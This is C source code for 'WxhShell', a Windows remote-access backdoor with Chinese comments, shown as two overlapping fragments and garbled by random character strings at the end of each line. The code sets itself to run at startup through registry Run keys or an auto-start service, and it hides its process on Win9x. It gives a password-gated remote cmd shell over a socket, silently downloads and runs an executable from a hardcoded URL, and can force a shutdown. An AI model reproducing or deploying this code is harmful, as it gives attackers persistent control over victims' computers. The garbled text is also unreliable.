    if(Boot(SHUTDOWN)) R5QSf+/T4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2<$C6J0HM  
    else { 5t$ZEp-  
    closesocket(wsh); }2sc|K^  
    ExitThread(0); 8aCa(Xu(H  
    } y{Wtm7fnA  
    break; #S[:Q.0 ;  
    } :K!@zT=o  
  // 获取shell @@U'I^iG  
  case 's': { >\Qyg>Md]  
    CmdShell(wsh); WMB~? EDhv  
    closesocket(wsh); JwzA'[tM  
    ExitThread(0); /rd6p{F  
    break; ~rBeJZ  
  } %eoO3"//  
  // 退出 4m%RD&ZN  
  case 'x': { 'bP-p gc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o;o ji  
    CloseIt(wsh); MKd{ y~'  
    break; PI7M3\z  
    } )J/,-p  
  // 离开 0T!_;IQ  
  case 'q': { ArBgg[i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \h6_m)*H4  
    closesocket(wsh); dQ*3s>B[  
    WSACleanup(); whW"cFg  
    exit(1); f"h{se8C  
    break; a;p3Me7  
        } ;0V{^  
  } XVi?- /2  
  } X*F#=.lh  
W M/pP?||  
  // 提示信息 I;`)1   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YQ>M&lnQ<  
} [guJd";  
  } ~4th;#'  
@?_<A%hz  
  return; S#{e@ C  
} M%f96XUM  
i(q%EMf  
// shell模块句柄 H*_:IfI!  
int CmdShell(SOCKET sock) #uNQ+US0  
{ "Vp+e%cqG  
STARTUPINFO si; {z?e<  
ZeroMemory(&si,sizeof(si)); 'xAfcP[^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; clQN@1] M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pg69mKZ$  
PROCESS_INFORMATION ProcessInfo; Qcu1&t\C  
char cmdline[]="cmd"; Xj.Tg1^K"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hV_eb6aj}P  
  return 0; h?2qX  
} 4oLrCQZ\  
![os5H.b#q  
// 自身启动模式 R9gK>}>Y  
int StartFromService(void) e7/ b@  
{ 2<Pi2s'  
typedef struct vMJv.O>HW  
{ ^JF6L`Tp  
  DWORD ExitStatus; H kDT14 `&  
  DWORD PebBaseAddress; r8XY"<  
  DWORD AffinityMask; 50Z$3T  
  DWORD BasePriority; n~ \"W  
  ULONG UniqueProcessId; BnH< -n_  
  ULONG InheritedFromUniqueProcessId; sHO6y0P  
}   PROCESS_BASIC_INFORMATION; Le"$ksu>  
nG&= $7x^  
PROCNTQSIP NtQueryInformationProcess; ;5 cg<~t  
w">XI)*z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <5MnF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +)Tt\Q%7  
#KZ6S9>@  
  HANDLE             hProcess; xtL_,ug  
  PROCESS_BASIC_INFORMATION pbi; Z^9;sb,x  
:(,uaX> {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gq`gitu0  
  if(NULL == hInst ) return 0; $Jo[&,  
hA6!F#1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uJ,>Y# ?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XoM+"R"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %^xY7!{  
xqv4gN6  
  if (!NtQueryInformationProcess) return 0; siw } }}  
> Zo_-,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~}|)@,N'bm  
  if(!hProcess) return 0; $6 \v1  
t{tcy$bw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9mkt.>$  
po+>83/!oq  
  CloseHandle(hProcess); zC6,m6Dv  
MIasCH>r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {ScilT  
if(hProcess==NULL) return 0; tG(?PmQ  
z c N1i^   
HMODULE hMod; EY;C5P4  
char procName[255]; yWsV !Ub  
unsigned long cbNeeded; |Vc8W0~0  
PiXegh WH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kL,bM.;  
|XOD~Plo^  
  CloseHandle(hProcess); cP63q|[[  
j?4k{?x  
if(strstr(procName,"services")) return 1; // 以服务启动 W!4(EdT*Cq  
TTpK8cC  
  return 0; // 注册表启动 !'(bwbd  
} a5C%OI<  
J3cbDE%^m  
// 主模块 P4"_qxAW  
int StartWxhshell(LPSTR lpCmdLine) to9 u%d8  
{ a+ZP]3@ 7  
  SOCKET wsl; 8r(S=dA  
BOOL val=TRUE; c?5e|dZz  
  int port=0; xJrRJwL  
  struct sockaddr_in door; #+V-65v  
<SmXMruU  
  if(wscfg.ws_autoins) Install(); mR:G,XytxM  
ECqcK~h#E  
port=atoi(lpCmdLine); g76l@QYIU  
J2 {?P cs  
if(port<=0) port=wscfg.ws_port; A~&Tp  
ae( o:G  
  WSADATA data; |=2E?&%?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Alaq![7MDP  
(D F{l?4x-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fp..Sjh 6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q:@$$}FjL  
  door.sin_family = AF_INET; %k @"*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j@$p(P$  
  door.sin_port = htons(port); cx M=#Go  
$]EG|]"Ns  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6f/>o$  
closesocket(wsl); |k3ZdM  
return 1; ;=>4 '$8  
} wND0KiwH  
.t|vwx  
  if(listen(wsl,2) == INVALID_SOCKET) { !Vl>?U?AN  
closesocket(wsl); 5xL%HX[S  
return 1; 5CH9m[S  
} #jn6DL@[{  
  Wxhshell(wsl); !7t,(Id8  
  WSACleanup(); ]}H;`H  
4.2qt  
return 0; <<!XWV*m  
pJ-/"Q|:i  
} z(L\I  
[xq"[*Evv  
// 以NT服务方式启动 &(3kwdI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }6b=2Z}  
{ 1wSJw  
DWORD   status = 0; /M(FuV  
  DWORD   specificError = 0xfffffff; ORk8^0\  
p>7 !"RF:U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v8p-<N)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CJ0j2e/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ';4DUh p  
  serviceStatus.dwWin32ExitCode     = 0; n_vopDMm  
  serviceStatus.dwServiceSpecificExitCode = 0; 2 >G"A  
  serviceStatus.dwCheckPoint       = 0; !4 `any  
  serviceStatus.dwWaitHint       = 0; j*aN_UTr3  
>:%YAR`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o\u31,  
  if (hServiceStatusHandle==0) return; 1"ko wp  
&niROM,;K  
status = GetLastError(); 7c$;-O  
  if (status!=NO_ERROR)  Ub(zwR;  
{ a}eM ny  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5#/" 0:2  
    serviceStatus.dwCheckPoint       = 0; 9Y&,dBj+  
    serviceStatus.dwWaitHint       = 0; a.QF`J4"'  
    serviceStatus.dwWin32ExitCode     = status; zbn0)JO  
    serviceStatus.dwServiceSpecificExitCode = specificError; !^BXai/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L9[? qFp  
    return; ] )D\ws)a9  
  } $[txZN  
o!EPF-:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qa~dd{?  
  serviceStatus.dwCheckPoint       = 0; 3lYM(DT  
  serviceStatus.dwWaitHint       = 0; N}Ozm6Mc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +~mBo+ ,  
} l}B,SkP^  
e{@TR x  
// 处理NT服务事件,比如:启动、停止 H~x,\|l#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qYZ\< h^  
{ r168ft?c  
switch(fdwControl) |Z}uN!Jm  
{ LQ pUyqR  
case SERVICE_CONTROL_STOP: *+TIF"|1  
  serviceStatus.dwWin32ExitCode = 0; U&#1qRm\h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +*-u_L\'  
  serviceStatus.dwCheckPoint   = 0; Q?rb(u(  
  serviceStatus.dwWaitHint     = 0; x"0*U9f  
  { -N+'+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w. exLC  
  } v{9< ATi  
  return; M?pu7wa  
case SERVICE_CONTROL_PAUSE: '}h[*IB}5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qg?O+-+  
  break; Fn0Rq9/@  
case SERVICE_CONTROL_CONTINUE: /Y|oDfv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tkU"/$Vi\  
  break; QHnk@ R!  
case SERVICE_CONTROL_INTERROGATE: ?h4-D:!$L  
  break; sxcpWSGA^  
}; RbUBKMZ U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +` g&J  
} Z7?C^m  
}.w@. S"  
// 标准应用程序主函数 Q- 78B'!=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7KU/ 1l9$9  
{ b489sa  
QZ(se  
// 获取操作系统版本 (5S(CYls  
OsIsNt=GetOsVer(); p\5DW'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ilL] pU-  
A`2l;MW  
  // 从命令行安装 ~9#[\/;"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Cbf[\J!bq  
aLapb5VV  
  // 下载执行文件 l%]S7|PKx  
if(wscfg.ws_downexe) { %Z?2 .)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zM?JLNs]<{  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vh1{8'G Q  
} Dn;6O  
}ybveZxv5A  
if(!OsIsNt) { @+1-_Q`s/R  
// 如果时win9x,隐藏进程并且设置为注册表启动 M rpn^C2)  
HideProc(); !7XAc,y  
StartWxhshell(lpCmdLine); qXO@FW]  
} @WVpDhG  
else ImQ?<g8$  
  if(StartFromService()) `Cy-*$$  
  // 以服务方式启动 Enr8"+.(  
  StartServiceCtrlDispatcher(DispatchTable); vB >7W  
else @mM'V5_#  
  // 普通方式启动 ek6PMZF:'  
  StartWxhshell(lpCmdLine); 8*y hx  
_:F0>=$  
return 0; N q %@(K  
} dX|(n.}  
\5.36Se  
3D>syf  
LO{{3No  
=========================================== "F%w{bf  
h;105$E1  
Kc~h  
a& b75.-  
hhQLld4  
6FuZMasr*  
" N3 qtq9{  
;A)w:"m  
#include <stdio.h> qTFktJZw  
#include <string.h> 3>%oGbo  
#include <windows.h> 4kZX$ct}  
#include <winsock2.h> Z^w11}  
#include <winsvc.h> U6V+jD}L]  
#include <urlmon.h> ``bIqY  
9 A0wiKp  
#pragma comment (lib, "Ws2_32.lib") )=6 |G^  
#pragma comment (lib, "urlmon.lib") $OMTk  
P+00wbx0  
#define MAX_USER   100 // 最大客户端连接数 #=r:;,,  
#define BUF_SOCK   200 // sock buffer "bZ {W(h  
#define KEY_BUFF   255 // 输入 buffer qzq_3^ 66  
# T_m|LN 7  
#define REBOOT     0   // 重启 B ^>}M  
#define SHUTDOWN   1   // 关机 .: ~);9kj  
K4938 v  
#define DEF_PORT   5000 // 监听端口 -Bymt[  
2uw1R;zw  
#define REG_LEN     16   // 注册表键长度 9&e=s<6dO  
#define SVC_LEN     80   // NT服务名长度 {,z$*nf  
3dm lP2  
// 从dll定义API 1"k"<{%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y7J2: /@[x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dj!v+<b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CjRI!}S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); []R`h*#  
Yg_;Eu0'?  
// wxhshell配置信息 tNf?pV77  
struct WSCFG { f S-(Kmh  
  int ws_port;         // 监听端口 >D20f<w(H  
  char ws_passstr[REG_LEN]; // 口令 c\.Hs9T >  
  int ws_autoins;       // 安装标记, 1=yes 0=no T;/Y/Fd  
  char ws_regname[REG_LEN]; // 注册表键名 ?`R;ZT)U-  
  char ws_svcname[REG_LEN]; // 服务名 LJ7Qwh_",  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3 D<s #  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dd4g?):  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Z.<=D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &K Ti[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *h59Vaoc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {=n-S2%  
;OjxEXaq  
}; x>MrB  
Y>v(UU  
// default Wxhshell configuration bs{i@1$  
struct WSCFG wscfg={DEF_PORT, !ER,o_T<  
    "xuhuanlingzhe", nl v8HC  
    1, Ubtu?wRBW  
    "Wxhshell", n^Co  
    "Wxhshell", uA#uq^3  
            "WxhShell Service", :ryyo$  
    "Wrsky Windows CmdShell Service", 3q7Z?1'o  
    "Please Input Your Password: ", CjW`cHd  
  1, Lo"w,p`n@  
  "http://www.wrsky.com/wxhshell.exe", AWkXW l}  
  "Wxhshell.exe" dN'2;X  
    }; Jo%5NXts4  
.~J}80a/  
// 消息定义模块 dUAZDoLi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :oRR1k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8^bc4(H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7R W5U'B  
char *msg_ws_ext="\n\rExit."; Ww8<f$  
char *msg_ws_end="\n\rQuit."; 05_aL` &eb  
char *msg_ws_boot="\n\rReboot..."; C(o]3):?  
char *msg_ws_poff="\n\rShutdown..."; Af'L=0  
char *msg_ws_down="\n\rSave to "; p9c`rl_N  
ID+ o6/V8  
char *msg_ws_err="\n\rErr!"; r3.A!*!  
char *msg_ws_ok="\n\rOK!"; M[aF3bbN  
,+`1/  
char ExeFile[MAX_PATH]; IK#W80y  
int nUser = 0; "`Y.N$M`k  
HANDLE handles[MAX_USER]; ~fL:pVp  
int OsIsNt; (J!FW(Ma|=  
Nr24Rv  
SERVICE_STATUS       serviceStatus; ""LCyKu   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u~kfz*hz  
(sX=#<B%  
// 函数声明 & w%%{lM  
int Install(void); RY8Ot2DWi  
int Uninstall(void); 3=r#=u5z  
int DownloadFile(char *sURL, SOCKET wsh); uL`6}0  
int Boot(int flag); sfLH[Q?  
void HideProc(void); 3awh>1N2 W  
int GetOsVer(void); jkz .qo-%  
int Wxhshell(SOCKET wsl); :)/%*<vq,  
void TalkWithClient(void *cs); ?9jl8r>  
int CmdShell(SOCKET sock); `$V7AqX(  
int StartFromService(void); V4c$V]7  
int StartWxhshell(LPSTR lpCmdLine); cRt[{ HE  
)"Ef* /+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '<(S*&s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /{|<3CEe  
EvA{@g4>  
// 数据结构和表定义 \SA"DT  
SERVICE_TABLE_ENTRY DispatchTable[] = ^;on  
{ _FV<[x,nE8  
{wscfg.ws_svcname, NTServiceMain}, )`Zj:^bz9  
{NULL, NULL} Jxyeh1z qB  
}; HTfHAc?W  
Z^P]-CB|6A  
// 自我安装 :wlX`YW+e  
int Install(void) *RM?SE6;  
{ (wxdT6RVm\  
  char svExeFile[MAX_PATH]; `gI`Cq4  
  HKEY key; <Q-Y$ ^\  
  strcpy(svExeFile,ExeFile); P<Wtv;Z1Z  
g[Tl#X7F  
// 如果是win9x系统,修改注册表设为自启动 sY @S  
if(!OsIsNt) { al{;]>W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V1aWVLltj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TDvUiJm  
  RegCloseKey(key); 41\r7 BS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j/I^\Ms  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #g)$m}tv?  
  RegCloseKey(key); HiTn5XNf  
  return 0; :g1C,M~  
    } 3Thb0\<"  
  } #w2;n@7;X  
} /qf2LO'+  
else { qU ESN!  
a' sa{>  
// 如果是NT以上系统,安装为系统服务 /^#8z(@B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^]iIvIp  
if (schSCManager!=0) QfLDyJv`e  
{ &4g]#A>@  
  SC_HANDLE schService = CreateService !8cS1(a  
  ( H l'za  
  schSCManager, <IiX_*  
  wscfg.ws_svcname, f 7g?{M  
  wscfg.ws_svcdisp, '|v??`o#  
  SERVICE_ALL_ACCESS, IU f1N+-z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <2{CR0]u  
  SERVICE_AUTO_START, < 5%:/j  
  SERVICE_ERROR_NORMAL, 43i@5F]  
  svExeFile, g>])O  
  NULL, *rs@6BSj  
  NULL, Ww8C}2g3  
  NULL, 5C03)Go3Z  
  NULL, w!~%v #  
  NULL | rY.IbL  
  ); RR*eq.;  
  if (schService!=0) @-uV6X8|  
  { F*&A=@/3  
  CloseServiceHandle(schService); UIhU[f]  
  CloseServiceHandle(schSCManager); N>Dr z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6EHYIN^D  
  strcat(svExeFile,wscfg.ws_svcname); ]Q?`|a+i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H9d! -9I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mq!vu!  
  RegCloseKey(key); :>@6\    
  return 0; W u4` 3  
    } cba  
  } a4zq`n|3U  
  CloseServiceHandle(schSCManager); ba=-F4?  
} iX 3Y:   
} gBF2.{"^  
'\v mm>  
return 1; fjc8@S5x9j  
} z_)`='&n  
AFd3_>h  
// 自我卸载 Ch3{q/-g  
int Uninstall(void) &$\B&Hp@  
{ E?L^ L3s  
  HKEY key; 3J^"$qfSn  
'N-nFc^  
if(!OsIsNt) { r8o9C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [M:ag_rm+f  
  RegDeleteValue(key,wscfg.ws_regname); d0@&2hO  
  RegCloseKey(key); =}bDT2Nb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jRk"#:  
  RegDeleteValue(key,wscfg.ws_regname); m :6.  
  RegCloseKey(key); J(k\Pz*  
  return 0; ?`m#Y&Oi  
  } (\CT "u-  
} `k^d)9  
} NJ^H"FLS:  
else { h($XR+!#  
2ZZ%BV!s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j. @CB`  
if (schSCManager!=0) f!3$xu5  
{ \Vc-W|e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ m' zm:  
  if (schService!=0) xJ2DkZ  
  { +#|| w9p  
  if(DeleteService(schService)!=0) {  j-H2h  
  CloseServiceHandle(schService); a&'!g)d  
  CloseServiceHandle(schSCManager); /< OoZf+[  
  return 0; aP#nK  
  } /(iq^  
  CloseServiceHandle(schService); XXx]~m  
  } +3;`4bW  
  CloseServiceHandle(schSCManager); b7thu5  
} |OgtAI9  
} K *<+K<Tp  
*%[L @WF  
return 1; 2X:OS/  
} scXY~l]I*  
TSgfIE|  
// 从指定url下载文件 <BUKTRq  
int DownloadFile(char *sURL, SOCKET wsh) ;9WS#>o  
{ 1 P0)La#  
  HRESULT hr; E< 57d,3l  
char seps[]= "/"; P(n_eIF-f  
char *token; OMl<=;^:|  
char *file; yvQRr75  
char myURL[MAX_PATH]; 3lkz:]SsE  
char myFILE[MAX_PATH]; xsPY#  
uBr^TM$k&  
strcpy(myURL,sURL); XL10W ^  
  token=strtok(myURL,seps); !foiGZ3g  
  while(token!=NULL) DlD;rL=  
  { m2i'$^a#  
    file=token; 1FkS$ j8:  
  token=strtok(NULL,seps); e-4 Qw #cw  
  } " R=,W{=  
#i t)  
GetCurrentDirectory(MAX_PATH,myFILE); K!L0|W H%!  
strcat(myFILE, "\\"); _LYI#D  
strcat(myFILE, file); X,ES=J0  
  send(wsh,myFILE,strlen(myFILE),0); q6A"+w,N  
send(wsh,"...",3,0); :1O49g3R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h(<2{%j  
  if(hr==S_OK) xcVF0%wVC  
return 0; JB}jt)ol%  
else X:0-FCT;\  
return 1; +!@@55I-  
GL S`1!  
} M5C%(sQ$  
'}F=U(!  
// 系统电源模块 j9voeV|7  
int Boot(int flag) 3 P)N,  
{ B&bQvdp  
  HANDLE hToken; _? aI/D  
  TOKEN_PRIVILEGES tkp; u{Rgk:bn  
UWf@(8  
  if(OsIsNt) { NFAjh?#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $,s"c(pv[,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [v,Y-}wQ)  
    tkp.PrivilegeCount = 1; t'7A-K=k3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vrGx<0$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rAuv`.qEV  
if(flag==REBOOT) { r_p4pxs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9i8 ~  
  return 0; OG!+p}yD]  
} W%&[gDp  
else { 0q !  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?'jRUfl   
  return 0; s)eU^4m  
} )<>1Q{j@  
  } EN\ uX!  
  else { UHaY|I${U  
if(flag==REBOOT) { gO9\pI 2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K:<0!C!  
  return 0; :m{;<LRV  
} Bh%Yu*.f  
else { ah8xiABa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d[t+iBP;)  
  return 0; Z~s"=kF,  
} W "}Cfv  
} ?h1r6?Sug{  
]ssX,1#Xh  
return 1; 5Mb5t;4b  
} *~b}]M700  
xnp5XhU  
// win9x进程隐藏模块 k X1#+X  
void HideProc(void) }Q<c E$c  
{ ]K^#'[  
?T (@<T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N H$!<ffz  
  if ( hKernel != NULL ) 5@3hb]J  
  { ej^pFo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #]MV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y!0ZwwW  
    FreeLibrary(hKernel); k04CSzE"%  
  } eGEeWJ}[$  
M{   
return; t:N3k ;k  
} UbDRE[^P  
$HE ?B{  
// 获取操作系统版本 %1jlXa  
int GetOsVer(void) gA/8Df\G:l  
{ xUw)mUn@N  
  OSVERSIONINFO winfo; -Y:^<C^^&8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VW%eB  
  GetVersionEx(&winfo); &1(PS)s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E$?:^ausu  
  return 1; uY"Bgz:=d  
  else aEJds}eE6)  
  return 0; nUy2)CL[L  
}  0+P[0  
4!,`|W1  
// 客户端句柄模块 c c^I9g~  
int Wxhshell(SOCKET wsl) U5f<4I  
{ :}[RDF?  
  SOCKET wsh; 9D+B~8[SQ  
  struct sockaddr_in client; ,!{/Y7PmJ  
  DWORD myID; $Lf-Gi  
rT}k[  
  while(nUser<MAX_USER) @x4IxGlUs  
{ D?Y j5eOa  
  int nSize=sizeof(client); A]WR-0Z7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;H%T5$:trP  
  if(wsh==INVALID_SOCKET) return 1; z~R:!O-  
-sqoE*K[8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UwQyAD]Ht  
if(handles[nUser]==0) jy kY8;4  
  closesocket(wsh); 8t$w/#'@  
else qEW3k),  
  nUser++; A"PmoV?lAm  
  } _=s{,t &u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^|+;~3<J  
12bt\ h9  
  return 0; hZ;[}5T\<S  
} B+w< 0No  
x*}*0).  
// 关闭 socket omEnIfQSO  
void CloseIt(SOCKET wsh) 5kju{2`GF  
{ 99]&Xj  
closesocket(wsh); CKau\N7T  
nUser--; k5X& |L/  
ExitThread(0); rERHfr`OU  
} /A{/  
Bf-KCqC".  
// 客户端请求句柄 4a6WQVS  
void TalkWithClient(void *cs) G&?,L:^t  
{ NZh\{!  
g /v"E+  
  SOCKET wsh=(SOCKET)cs;  $w@0}5Q  
  char pwd[SVC_LEN]; 3 %'Y):  
  char cmd[KEY_BUFF]; &|8R4l C|  
char chr[1]; )?zlhsu}1;  
int i,j; w]ZE('3%W  
|5h~&kA  
  while (nUser < MAX_USER) { iXJ3B&x  
X u+^41  
if(wscfg.ws_passstr) { v[UrOT:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /O$7A7Tl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 $k"B/k  
  //ZeroMemory(pwd,KEY_BUFF); o(5eb;"yi>  
      i=0; %l.5c Sn@  
  while(i<SVC_LEN) { Vw~st1",[  
wm<`0}  
  // 设置超时 / ~\ I  
  fd_set FdRead; m+7/ebj{A  
  struct timeval TimeOut; >#[u"CB  
  FD_ZERO(&FdRead); D+u#!t[q  
  FD_SET(wsh,&FdRead); X\yy\`o  
  TimeOut.tv_sec=8; 4sCzUvI~Y1  
  TimeOut.tv_usec=0; 5 ?{ytNCY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `Zm- F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %0<-5&GE  
"dN4EA&QJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ys#V_ysb  
  pwd=chr[0]; *Mg. * N  
  if(chr[0]==0xd || chr[0]==0xa) { [Jjb<6[o  
  pwd=0; ;94e   
  break; Ld?-Ik~fF>  
  } pm 4"Q!K  
  i++; c%bGVRhE  
    } (*CGZDg  
w.2[Xx~  
  // 如果是非法用户,关闭 socket 9jC>OZ0s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +"HLx%k  
} F}C.F  
TcP (?v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >2%*(nL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d77->FX2  
'. '}  
while(1) { 6_.K9;Gd  
eInx\/  
  ZeroMemory(cmd,KEY_BUFF); cp&- 6 w+  
3r[}'ba\  
      // 自动支持客户端 telnet标准   H}[kit*9  
  j=0; :nPLQqXGQ  
  while(j<KEY_BUFF) { pg4J)<t#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <.HDv:  
  cmd[j]=chr[0]; q|N/vkqPz  
  if(chr[0]==0xa || chr[0]==0xd) { !jIpgs5  
  cmd[j]=0; S=R}#  
  break; qyx  '  
  } E6f{z9y6  
  j++; u*aFWl]=  
    } p903 *F^[,  
rpZ^R}B%*v  
  // 下载文件 vj?6,Ae  
  if(strstr(cmd,"http://")) { B"903 g 1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]sbj8  
  if(DownloadFile(cmd,wsh)) rz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b;;C><  
  else :*`5|'G}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }z$_=v  
  } wj'5D0   
  else { r/32pY  
#RG/B2  
    switch(cmd[0]) { '^!1AGF  
  a IA9rn  
  // 帮助 Eed5sm$H  
  case '?': { \+STl#3*q  
